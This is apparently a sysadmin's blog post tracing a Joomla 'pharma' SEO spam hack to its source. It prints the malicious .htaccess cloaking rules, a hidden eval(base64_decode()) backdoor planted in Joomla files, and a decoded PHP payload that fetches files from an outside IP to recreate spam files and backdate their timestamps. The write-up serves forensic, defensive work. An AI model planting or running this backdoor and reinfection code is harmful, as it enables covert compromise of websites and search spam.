Joomla ‘Pharma’ Hack

One of the more CSI type things I get to do in my job is figure out how servers are compromised. Last week I was tasked with figuring out why a site was listing Pharmaceuticals in Google results.

I’ve dealt alot with hacked and compromised servers, but have never come across one that only affected search results.

Basically, 3 modified files kept appearing on the server, a modified .htaccess file in the root, common.php and coockies.txt.

What we discovered was the following in the .htaccess file:

# Apache search queries statistic module
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>

What this means is that any search bot will get redirected through common.php. This file had a bunch of base_64 encoded PHP that modified page meta descriptions and titles. This is outlined pretty well here: http://redleg-redleg.blogspot.ca/2011/02/pharmacy-hack.html.

However, we deleted these files and modified the .htaccess file back to it’s original state, but the files kept coming back. So the big question was how?

I did a search through the Joomla source for base64_encode/decode and found a ton of files. Most of them were part of modules or core, but I did find a few that looked a little odd. For example:

/**GnPvQdChUa*/if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { /**LsWvRlYzUw*/eval(base64_decode($_REQUEST["mod_content"])); /**SeDuMsFkMx*/exit();/**BoJeXkTwXa*/ }

Basically what this does is run whatever is passed in the $_REQUEST[“mod_content”] variable. Pretty nasty since it means that any base64_encoded string will be run as is.

At 6:22 on a sunny Saturday morning, I got a notification from one of my monitoring scripts that common.php, that attack file, was back! I checked the logs and sure enough, here is what the request was:

/components/com_users/users.php?img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=aWYgKGV4dGVuc2lvbl9sb2FkZWQoImN1cmwiKSl7JGNo yadda yadda base64 encoded string.

That param decodes to a lovely PHP script:


if ( extension_loaded( "curl" ) ) {
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/door.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $door = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_code = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp2.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_ht = curl_exec( $ch );
 } else {
 $door = @file_get_contents( "http://209.190.20.51/door.txt" );
 $inc_code = @file_get_contents( "http://209.190.20.51/include_code_temp.txt" );
 $inc_ht = @file_get_contents( "http://209.190.20.51/include_code_temp2.txt" );
 }if ( is_file( "/home/user/public_html/index.html" ) ) {
 $index = "/home/user/public_html/index.html";
 }if ( is_file( "/home/user/public_html/index.htm" ) ) {
 $index = "/home/user/public_html/index.htm";
 }if ( is_file( "/home/user/public_html/.htaccess" ) ) {
 $index = "/home/user/public_html/.htaccess";
 }if ( is_file( "/home/user/public_html/favicon.ico" ) ) {
 $index = "/home/user/public_html/favicon.ico";
 }if ( is_file( "/home/user/public_html/index.php" ) ) {
 $index = "/home/user/public_html/index.php";
 }if ( is_file( "/home/user/public_html/common.php" ) ) {
 $index = "/home/user/public_html/common.php";
 }$time = filemtime( $index );
 $chmod = substr( sprintf( "%o", fileperms( $index ) ), -4 );
 $chmod = trim( $chmod );
 $chmod = intval( $chmod, 8 );
 @unlink( "/home/user/public_html/common.php" );
 $fp = fopen( "/home/user/public_html/common.php", "w" );
 fputs( $fp, $door );
 fclose( $fp );
 @chmod( "/home/user/public_html/common.php", $chmod );
 touch( "/home/user/public_html/common.php", $time );
 $htaccess = str_replace( "#####INCLUDE#####", $inc_ht, $inc_code );
 @unlink( "/home/user/public_html/.htaccess" );
 $fp = fopen( "/home/user/public_html/.htaccess", "w" );
 fputs( $fp, $htaccess );
 fclose( $fp );
 @chmod( "/home/user/public_html/.htaccess", $chmod );
 touch( "/home/user/public_html/.htaccess", $time );
 

This little script is what recreates all the spammy files.

So there it is, a URL param that run’s CURL requests to setup spam files on a server.

Wanted to record this so that anyone else having this issue has somewhere to look.

TTFN.